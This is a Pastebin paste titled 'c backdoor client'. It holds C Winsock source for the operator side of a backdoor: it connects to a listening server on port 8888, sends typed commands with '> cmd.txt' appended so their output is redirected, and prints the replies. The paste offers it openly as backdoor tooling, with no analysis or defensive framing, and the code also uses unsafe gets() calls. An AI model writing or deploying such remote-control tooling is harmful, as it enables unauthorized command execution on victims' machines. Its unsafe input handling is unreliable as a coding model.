Advertisement
Guest User

c backdoor client

a guest
Apr 17th, 2015
478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.97 KB | None | 0 0
  1. /*
  2. Create a TCP socket
  3. */
  4.  
  5. #include<stdio.h>
  6. #include<winsock2.h>
  7.  
  8. #pragma comment(lib,"ws2_32.lib") //Winsock Library
  9.  
  10. int main(int argc, char *argv[])
  11. {
  12. WSADATA wsa;
  13. SOCKET s;
  14. struct sockaddr_in server;
  15. char *message;
  16. char server_reply[100000];
  17. char command[1000];
  18. int recv_size, i, clean;
  19.  
  20. for (i = 0; i < 1024; i++)
  21. server_reply[i] = '\0';
  22.  
  23. printf("\nInitialising Winsock...");
  24. if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
  25. {
  26. printf("Failed. Error Code : %d", WSAGetLastError());
  27. return 1;
  28. }
  29.  
  30. printf("Initialised.\n");
  31.  
  32. //Create a socket
  33. if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
  34. {
  35. printf("Could not create socket : %d", WSAGetLastError());
  36. }
  37.  
  38. printf("Socket created.\n");
  39.  
  40.  
  41. server.sin_addr.s_addr = inet_addr("127.0.0.1");
  42. server.sin_family = AF_INET;
  43. server.sin_port = htons(8888);
  44.  
  45. //Connect to remote server
  46. if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
  47. {
  48. puts("connect error");
  49. return 1;
  50. }
  51.  
  52. puts("Connected");
  53.  
  54. //Send some data
  55. while (1)
  56. {
  57. printf("\n > ");
  58. gets(command);
  59.  
  60. printf("\nCommand: %s\nstrlen command : %d", command, strlen(command));
  61. getchar();
  62. if (strcmp(command, "chdir") == 0)
  63. {
  64. if (send(s, command, strlen(command), 0) < 0)
  65. {
  66. puts("Send failed");
  67. return 1;
  68. }
  69. puts("Data Send\n");
  70.  
  71. //Receive a reply from the server
  72. if ((recv_size = recv(s, server_reply, sizeof(server_reply), 0)) == SOCKET_ERROR)
  73. {
  74. puts("recv failed");
  75. }
  76.  
  77. printf("Reply received\n : %d bytes\n", recv_size);
  78.  
  79. //Add a NULL terminating character to make it a proper string before printing
  80.  
  81. printf("%s\n", server_reply);
  82.  
  83. for (clean = 0; clean < 100000; clean++)
  84. server_reply[clean] = '\0';
  85.  
  86. gets(command);
  87. if (send(s, command, strlen(command), 0) < 0)
  88. {
  89. puts("Send failed");
  90. return 1;
  91. }
  92. puts("Data Send\n");
  93.  
  94. if ((recv_size = recv(s, server_reply, sizeof(server_reply), 0)) == SOCKET_ERROR)
  95. {
  96. puts("recv failed");
  97. }
  98.  
  99. printf("Reply received\n : %d bytes\n", recv_size);
  100.  
  101. //Add a NULL terminating character to make it a proper string before printing
  102.  
  103. printf("%s\n", server_reply);
  104.  
  105. for (clean = 0; clean < 100000; clean++)
  106. server_reply[clean] = '\0';
  107.  
  108. }
  109. else
  110. {
  111. strcat(command, "> cmd.txt");
  112. printf("\nCommand: %s\nstrlen command : %d", command, strlen(command));
  113.  
  114.  
  115. if (send(s, command, strlen(command), 0) < 0)
  116. {
  117. puts("Send failed");
  118. return 1;
  119. }
  120. puts("Data Send\n");
  121.  
  122. //Receive a reply from the server
  123. if ((recv_size = recv(s, server_reply, sizeof(server_reply), 0)) == SOCKET_ERROR)
  124. {
  125. puts("recv failed");
  126. }
  127.  
  128. printf("Reply received\n : %d bytes\n", recv_size);
  129.  
  130. //Add a NULL terminating character to make it a proper string before printing
  131.  
  132. printf("%s\n", server_reply);
  133.  
  134. for (clean = 0; clean < 100000; clean++)
  135. server_reply[clean] = '\0';
  136.  
  137. }
  138. }
  139. return 0;
  140. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement